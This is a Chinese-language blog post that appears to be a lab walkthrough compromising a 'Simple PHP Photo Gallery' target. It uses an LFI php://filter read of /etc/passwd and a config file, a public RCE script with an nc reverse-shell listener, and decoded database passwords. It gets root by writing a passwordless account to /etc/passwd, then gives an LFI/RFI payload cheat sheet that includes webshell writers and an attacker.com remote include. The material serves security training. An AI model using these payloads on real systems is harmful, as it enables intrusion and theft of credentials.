&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;130&lt;/span&gt;&lt;span class="cl"&gt;嵌入式图库： 复制 phpGalleryStyle.css 文件中的 CSS 类/元素，并将其粘贴到您当前的样式表中。我尽量使类名唯一。
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;131&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;132&lt;/span&gt;&lt;span class="cl"&gt;独立页面图库： 可以直接修改 phpGalleryStyle.css 文件。
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;133&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;134&lt;/span&gt;&lt;span class="cl"&gt;注意 (NOTE):
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;135&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;136&lt;/span&gt;&lt;span class="cl"&gt;i) 您的 Web 服务器必须安装 PHP 3.0 或更高版本以及 GD 2.0 或更高版本，图库软件才能工作。
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;137&lt;/span&gt;&lt;span class="cl"&gt; 要检查这一点，创建一个包含 &amp;lt;?php phpinfo(); ?&amp;gt; 行的 PHP 文件并运行它，查看安装了哪些模块。
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;138&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;139&lt;/span&gt;&lt;span class="cl"&gt;ii) 应支持 JPG, JPEG, PNG 和 GIF 文件（文件扩展名大小写均可）。
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;140&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;141&lt;/span&gt;&lt;span class="cl"&gt;iii) 可以自由删除版权信息（我同意它不太美观），条件是您不会试图破坏版权旨在保护的内容 :)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;142&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;143&lt;/span&gt;&lt;span class="cl"&gt;iv) 祝您使用愉快！
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;144&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;145&lt;/span&gt;&lt;span class="cl"&gt;哦，如果您不介意，请发邮件到 simplephpgallery@gmail.com 告诉我您使用该图库脚本的网站 URL。我很高兴看到我做的东西帮助了别人！
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;发现这个PHP相册有用include的方式来展现图片，文字中 &amp;ldquo;或者直接在您现有的 PHP 文件中使用 include(&amp;ldquo;embeddedGallery.php&amp;rdquo;) 语句）&amp;ldquo;这一句说明了，存在文件包含。搜索一下网上这个文件包含的利用方法如下。&lt;/p&gt;
&lt;blockquote class="alert alert-question"&gt;
 &lt;div class="alert-header"&gt;
 &lt;span class="alert-icon"&gt;&lt;/span&gt;
 &lt;span class="alert-title"&gt;Question&lt;/span&gt;
 &lt;/div&gt;
 &lt;div class="alert-body"&gt;
 &lt;p&gt;文件包含漏洞有哪些用法&lt;/p&gt;
 &lt;/div&gt;
 &lt;/blockquote&gt;
&lt;h2 id="文件包含漏洞"&gt;文件包含漏洞
&lt;/h2&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;http://192.168.236.58/image.php?img=php://filter/convert.base64-encode/resource=/etc/passwd
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250820124214485.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250820123950484.png"&gt;&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;http://192.168.236.58/image.php?img=php://filter/convert.base64-encode/resource=/var/www/html/db.php
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250820124433282.png"&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-php" data-lang="php"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;&amp;lt;?&lt;/span&gt;&lt;span class="nx"&gt;php&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nx"&gt;define&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;DBHOST&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;127.0.0.1&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nx"&gt;define&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;DBUSER&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;root&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nx"&gt;define&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;DBPASS&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;MalapropDoffUtilize1337&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nx"&gt;define&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;DBNAME&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;SimplePHPGal&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;6&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;?&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;得到数据库用户名和密码，观察端口发现3306端口打开，尝试登录发现不允许外部地址登录。&lt;/p&gt;
&lt;blockquote class="alert alert-success"&gt;
 &lt;div class="alert-header"&gt;
 &lt;span class="alert-icon"&gt;&lt;/span&gt;
 &lt;span class="alert-title"&gt;数据库密码&lt;/span&gt;
 &lt;/div&gt;
 &lt;div class="alert-body"&gt;
 &lt;p&gt;root
MalapropDoffUtilize1337&lt;/p&gt;
 &lt;/div&gt;
 &lt;/blockquote&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250820124855304.png"&gt;&lt;/p&gt;
&lt;h2 id="simple-php-photo-gallery-漏洞"&gt;Simple PHP Photo Gallery 漏洞
&lt;/h2&gt;&lt;p&gt;从Whatweb的结果中看，这是一个 &lt;code&gt;Simple PHP Photo Gallery&lt;/code&gt; 的相册框架，搜索相关的漏洞发现有脚本可以利用。&lt;/p&gt;

 &lt;blockquote&gt;
 &lt;p&gt;&lt;a class="link" href="https://github.com/beauknowstech/SimplePHPGal-RCE.py" target="_blank" rel="noopener"
 &gt;https://github.com/beauknowstech/SimplePHPGal-RCE.py&lt;/a&gt;&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 终端1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;rlwrap -cAr nc -nlvp &lt;span class="m"&gt;445&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 终端2&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;git clone https://github.com/beauknowstech/SimplePHPGal-RCE.py.git
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;cd&lt;/span&gt; SimplePHPGal-RCE.py
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;6&lt;/span&gt;&lt;span class="cl"&gt;python3 SimplePHPGal-RCE.py http://192.168.236.58/ 192.168.45.238 &lt;span class="m"&gt;445&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;7&lt;/span&gt;&lt;span class="cl"&gt;python -c &lt;span class="s1"&gt;&amp;#39;import pty;pty.spawn(&amp;#34;/bin/bash&amp;#34;)&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;注意这里最好是用靶机以及开放打开的端口，比如这里的445端口。
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250820130144876.png"&gt;&lt;/p&gt;
&lt;h2 id="内网信息收集"&gt;内网信息收集
&lt;/h2&gt;&lt;p&gt;现在就可以登录数据库了
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250820130858934.png"&gt;
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250820131031332.png"&gt;&lt;/p&gt;
&lt;p&gt;解码两次密码得到：&lt;/p&gt;
&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;username&lt;/th&gt;
 &lt;th&gt;password&lt;/th&gt;
 &lt;th&gt;解码&lt;/th&gt;
 &lt;th&gt;第二次解码&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;josh&lt;/td&gt;
 &lt;td&gt;VFc5aWFXeHBlbVZJYVhOelUyVmxaSFJwYldVM05EYz0=&lt;/td&gt;
 &lt;td&gt;TW9iaWxpemVIaXNzU2VlZHRpbWU3NDc=&lt;/td&gt;
 &lt;td&gt;MobilizeHissSeedtime747&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;michael&lt;/td&gt;
 &lt;td&gt;U0c5amExTjVaRzVsZVVObGNuUnBabmt4TWpNPQ==&lt;/td&gt;
 &lt;td&gt;SG9ja1N5ZG5leUNlcnRpZnkxMjM=&lt;/td&gt;
 &lt;td&gt;HockSydneyCertify123&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;serena&lt;/td&gt;
 &lt;td&gt;VDNabGNtRnNiRU55WlhOMFRHVmhiakF3TUE9PQ==&lt;/td&gt;
 &lt;td&gt;T3ZlcmFsbENyZXN0TGVhbjAwMA==&lt;/td&gt;
 &lt;td&gt;OverallCrestLean000&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;home文件夹下只有一个用户文件夹&lt;code&gt;michael&lt;/code&gt;，尝试用数据库中得到的密码su一下用户。
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250820131248379.png"&gt;
拿到第一个flag。
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250820131510193.png"&gt;
搜一下常见的提权点，并未发现常见的可以提权的点
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250820131847625.png"&gt;
查看是否还有其他可用的用户时发现passwd文件当前用户Micheal即可写入，那么直接写一个新用户，新的管理员用户即可。
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250820132135272.png"&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;root2::0:0::/root:/bin/bash&amp;#39;&lt;/span&gt; &amp;gt;&amp;gt; /etc/passwd
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;su root2
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;拿到第二个flag
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250820132350268.png"&gt;&lt;/p&gt;
&lt;h2 id="总结"&gt;总结
&lt;/h2&gt;&lt;h3 id="入侵路径示意图"&gt;入侵路径示意图
&lt;/h3&gt;&lt;pre class="mermaid" style="visibility:hidden"&gt;
flowchart TD
 %% 资产列表
 A[Kali攻击机 &lt;br&gt; 192.168.45.238]
 B[靶机 &lt;br&gt; 192.168.236.58]
 C[获取数据库密码]
 D[获取apache终端]
 E[获取michael用户密码并登录]
 F[root]

 %% 路径关系
 A--&gt;|扫描|B
 B--&gt;|文件包含漏洞|C
 B--&gt;|SimplePHPG漏洞|D
 C--&gt;|数据库解码|E
 D--&gt;E
 E--&gt;|/etc/passwd权限配置不当|F
 


	%% 线型：---（实线）、-.-&gt;（虚线）、==&gt;（粗箭头）
	%% --&gt;|是|：带条件文本的连接
	%% 矩形节点[ ]，菱形决策节点{ }，圆弧方节点()
 %% 样式定义
 classDef attack fill:#ffcccc,stroke:#ff0000,stroke-width:2px;
 classDef public fill:#ffeecc,stroke:#ff9900,stroke-width:2px; 
 classDef internal fill:#ccffcc,stroke:#009900,stroke-width:2px; 
 %% 线型与颜色方案（亮色/暗色通用）
	linkStyle default stroke:#666666,stroke-width:2px,stroke-dasharray:0; 

 %% 应用样式
 class A attack;
 class B,C,D public;
 class E,F internal;&lt;/pre&gt;&lt;h3 id="入侵时间表"&gt;入侵时间表
&lt;/h3&gt;&lt;pre class="mermaid" style="visibility:hidden"&gt;gantt
 title 攻击时间表
 dateFormat YYYY-MM-DD HH:mm
 axisFormat %H:%M
 
 section 侦察阶段
 目标扫描 :a1, 2025-08-20 11:4, 2025-08-20 12:30
 漏洞识别 :a2, after a1, 2025-08-20 13:03
 
 section 攻击阶段
 初始访问 :b1, after a2, 2025-08-20 13:20
 权限提升 :crit,b2, after b1, 3m
 
 section 后渗透阶段
 数据窃取 :c1, after b2, 1m&lt;/pre&gt;&lt;hr&gt;
&lt;hr&gt;
&lt;h2 id="文件包含漏洞lfirfi"&gt;文件包含漏洞（LFI/RFI）
&lt;/h2&gt;&lt;p&gt;文件包含漏洞（LFI/RFI）的核心在于利用动态文件加载机制，通过控制包含路径参数实现敏感文件读取或恶意代码执行。以下是常见利用方式及技术细节，按协议和场景分类整理：&lt;/p&gt;
&lt;h3 id="-一本地文件包含lfi基础利用"&gt;📁 ​&lt;strong&gt;​一、本地文件包含（LFI）基础利用​&lt;/strong&gt;​
&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;​&lt;strong&gt;​敏感文件读取​&lt;/strong&gt;​
&lt;ul&gt;
&lt;li&gt;​&lt;strong&gt;​路径遍历​&lt;/strong&gt;​：通过&lt;code&gt;../&lt;/code&gt;跳转目录读取系统文件。
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;?file=../../../../etc/passwd&lt;/code&gt;→ 泄露用户账户信息 。&lt;/li&gt;
&lt;li&gt;Windows 系统：&lt;code&gt;?file=../../Windows/win.ini&lt;/code&gt;→ 获取系统配置 。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;​&lt;strong&gt;​空字节截断​&lt;/strong&gt;​（PHP &amp;lt;5.3.4）：
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;?file=../../../etc/passwd%00&lt;/code&gt;→ 绕过后缀限制（如&lt;code&gt;.php&lt;/code&gt;）。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;​&lt;strong&gt;​日志文件注入​&lt;/strong&gt;​
&lt;ul&gt;
&lt;li&gt;​&lt;strong&gt;​污染日志​&lt;/strong&gt;​：在请求头中注入恶意代码（如&lt;code&gt;User-Agent: &amp;lt;?php system($_GET['cmd']);?&amp;gt;&lt;/code&gt;）。&lt;/li&gt;
&lt;li&gt;​&lt;strong&gt;​包含日志​&lt;/strong&gt;​：&lt;code&gt;?file=/var/log/apache2/access.log&amp;amp;cmd=id&lt;/code&gt;→ 执行注入的代码 。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;​&lt;strong&gt;​Session 文件利用​&lt;/strong&gt;​
&lt;ul&gt;
&lt;li&gt;注入恶意 Session：通过登录表单设置&lt;code&gt;PHPSESSID=evil&lt;/code&gt;并提交&lt;code&gt;username=&amp;lt;?php system('id');?&amp;gt;&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;包含 Session 文件：&lt;code&gt;?file=/tmp/sess_evil&lt;/code&gt;→ 执行代码 。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="-二伪协议高级利用"&gt;🌐 ​&lt;strong&gt;​二、伪协议高级利用​&lt;/strong&gt;​
&lt;/h3&gt;&lt;h4 id="-1-"&gt;🔧 ​&lt;strong&gt;​1. &lt;code&gt;php://filter&lt;/code&gt;（源码泄露）​&lt;/strong&gt;​
&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;​&lt;strong&gt;​Base64 编码读取​&lt;/strong&gt;​：避免 PHP 代码直接执行。
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;?file=php://filter/convert.base64-encode/resource=config.php&lt;/code&gt;→ 获取配置文件 Base64 编码内容 。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;​&lt;strong&gt;​编码绕过技巧​&lt;/strong&gt;​：
&lt;ul&gt;
&lt;li&gt;多重过滤器：&lt;code&gt;?file=php://filter/convert.iconv.UTF-8.UTF-16/resource=index.php&lt;/code&gt;→ 绕过简单过滤 。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="-2-"&gt;⚡ ​&lt;strong&gt;​2. &lt;code&gt;php://input&lt;/code&gt;（代码执行）​&lt;/strong&gt;​
&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;​&lt;strong&gt;​POST 请求执行代码​&lt;/strong&gt;​：需&lt;code&gt;allow_url_include=On&lt;/code&gt;。
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;?file=php://input&lt;/code&gt;+ POST Body：&lt;code&gt;&amp;lt;?php system('id');?&amp;gt;&lt;/code&gt;→ 直接执行系统命令 。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;​&lt;strong&gt;​写入 Webshell​&lt;/strong&gt;​：
&lt;pre tabindex="0"&gt;&lt;code&gt;&amp;lt;?php fputs(fopen(&amp;#39;shell.php&amp;#39;,&amp;#39;w&amp;#39;),&amp;#39;&amp;lt;?php @eval($_POST[cmd]);?&amp;gt;&amp;#39;); ?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;通过包含触发写入 。&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="-3-压缩协议绕过上传限制"&gt;📦 ​&lt;strong&gt;​3. 压缩协议（绕过上传限制）​&lt;/strong&gt;​
&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;上传含恶意代码的&lt;code&gt;shell.zip&lt;/code&gt;（内部含&lt;code&gt;shell.php&lt;/code&gt;），重命名为&lt;code&gt;image.jpg&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;?file=zip:///path/to/image.jpg%23shell.php&lt;/code&gt;→ 解压并执行代码 。&lt;/li&gt;
&lt;li&gt;类似&lt;code&gt;zip://&lt;/code&gt;，额外支持反序列化攻击 。&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="-4-"&gt;💥 ​&lt;strong&gt;​4. &lt;code&gt;data://&lt;/code&gt;（直接代码执行）​&lt;/strong&gt;​
&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;​&lt;strong&gt;​嵌入 PHP 代码​&lt;/strong&gt;​：需&lt;code&gt;allow_url_include=On&lt;/code&gt;。
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;?file=data://text/plain,&amp;lt;?php phpinfo();?&amp;gt;&lt;/code&gt;→ 直接输出&lt;code&gt;phpinfo&lt;/code&gt;。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;​&lt;strong&gt;​Base64 编码绕过​&lt;/strong&gt;​：
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+&lt;/code&gt;→ 执行编码后的代码 。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="-三远程文件包含rfi"&gt;🎯 ​&lt;strong&gt;​三、远程文件包含（RFI）​&lt;/strong&gt;​
&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;​&lt;strong&gt;​远程加载恶意文件​&lt;/strong&gt;​&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;?file=http://attacker.com/shell.txt&lt;/code&gt;→ 包含远程服务器上的 Webshell（需&lt;code&gt;allow_url_include=On&lt;/code&gt;）。&lt;/li&gt;
&lt;li&gt;​&lt;strong&gt;​绕过技巧​&lt;/strong&gt;​：添加&lt;code&gt;?&lt;/code&gt;或&lt;code&gt;%23&lt;/code&gt;截断后缀：
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;?file=http://attacker.com/shell.txt%23&lt;/code&gt;→ 忽略本地追加的后缀（如&lt;code&gt;.php&lt;/code&gt;）。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;​&lt;strong&gt;​结合 DNS 重绑定​&lt;/strong&gt;​&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;使同一 URL 在不同时间解析到攻击者服务器和本地文件，绕过 IP 限制 。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="-四环境变量与临时文件"&gt;⚙️ ​&lt;strong&gt;​四、环境变量与临时文件​&lt;/strong&gt;​
&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;​&lt;strong&gt;​&lt;code&gt;/proc/self/environ&lt;/code&gt;利用​&lt;/strong&gt;​
&lt;ul&gt;
&lt;li&gt;通过&lt;code&gt;User-Agent&lt;/code&gt;注入代码：
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;User-Agent: &amp;lt;?php system($_GET['cmd']);?&amp;gt;&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;?file=/proc/self/environ&amp;amp;cmd=id&lt;/code&gt;→ 执行注入命令 。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;​&lt;strong&gt;​临时文件包含​&lt;/strong&gt;​
&lt;ul&gt;
&lt;li&gt;结合文件上传漏洞，包含上传的临时文件路径（如&lt;code&gt;/tmp/phpXXXXXX&lt;/code&gt;）。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="-五绕过过滤技巧"&gt;🛠️ ​&lt;strong&gt;​五、绕过过滤技巧​&lt;/strong&gt;​
&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;​&lt;strong&gt;​双写绕过​&lt;/strong&gt;​：&lt;code&gt;?file=....//....//etc/passwd&lt;/code&gt;→ 应对&lt;code&gt;str_replace(&amp;quot;../&amp;quot;, &amp;quot;&amp;quot;)&lt;/code&gt;过滤 。&lt;/li&gt;
&lt;li&gt;​&lt;strong&gt;​绝对路径绕过​&lt;/strong&gt;​：&lt;code&gt;?file=file:///etc/passwd&lt;/code&gt;→ 直接指定绝对路径 。&lt;/li&gt;
&lt;li&gt;​&lt;strong&gt;​长度截断​&lt;/strong&gt;​：超长文件名（Windows &amp;gt;256字符，Linux &amp;gt;4096字符）自动截断后缀 。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="-总结"&gt;💎 ​&lt;strong&gt;​总结​&lt;/strong&gt;​
&lt;/h3&gt;&lt;p&gt;文件包含漏洞的利用核心在于​&lt;strong&gt;​控制输入路径​&lt;/strong&gt;​和​&lt;strong&gt;​利用协议特性​&lt;/strong&gt;​：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;​&lt;strong&gt;​敏感信息泄露​&lt;/strong&gt;​ → &lt;code&gt;php://filter&lt;/code&gt;+ Base64 编码。&lt;/li&gt;
&lt;li&gt;​&lt;strong&gt;​代码执行​&lt;/strong&gt;​ → &lt;code&gt;php://input&lt;/code&gt;/&lt;code&gt;data://&lt;/code&gt;+ POST 代码注入。&lt;/li&gt;
&lt;li&gt;​&lt;strong&gt;​绕过限制​&lt;/strong&gt;​ → 压缩协议（&lt;code&gt;zip://&lt;/code&gt;/&lt;code&gt;phar://&lt;/code&gt;）或路径遍历技巧。
防御需结合​&lt;strong&gt;​白名单验证​&lt;/strong&gt;​、​&lt;strong&gt;​协议禁用​&lt;/strong&gt;​（如&lt;code&gt;allow_url_include=Off&lt;/code&gt;）和​&lt;strong&gt;​输入过滤​&lt;/strong&gt;​ 。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;p&gt;🔔 &lt;strong&gt;想要获取更多网络安全与编程技术干货？&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;关注 &lt;strong&gt;泷羽Sec-静安&lt;/strong&gt; 公众号，与你一起探索前沿技术，分享实用的学习资源与工具。我们专注于深入分析，拒绝浮躁，只做最实用的技术分享！💻&lt;/p&gt;
&lt;p&gt;马上加入我们，共同成长！🌟&lt;/p&gt;
&lt;p&gt;👉 &lt;strong&gt;长按或扫描二维码关注公众号&lt;/strong&gt;&lt;/p&gt;
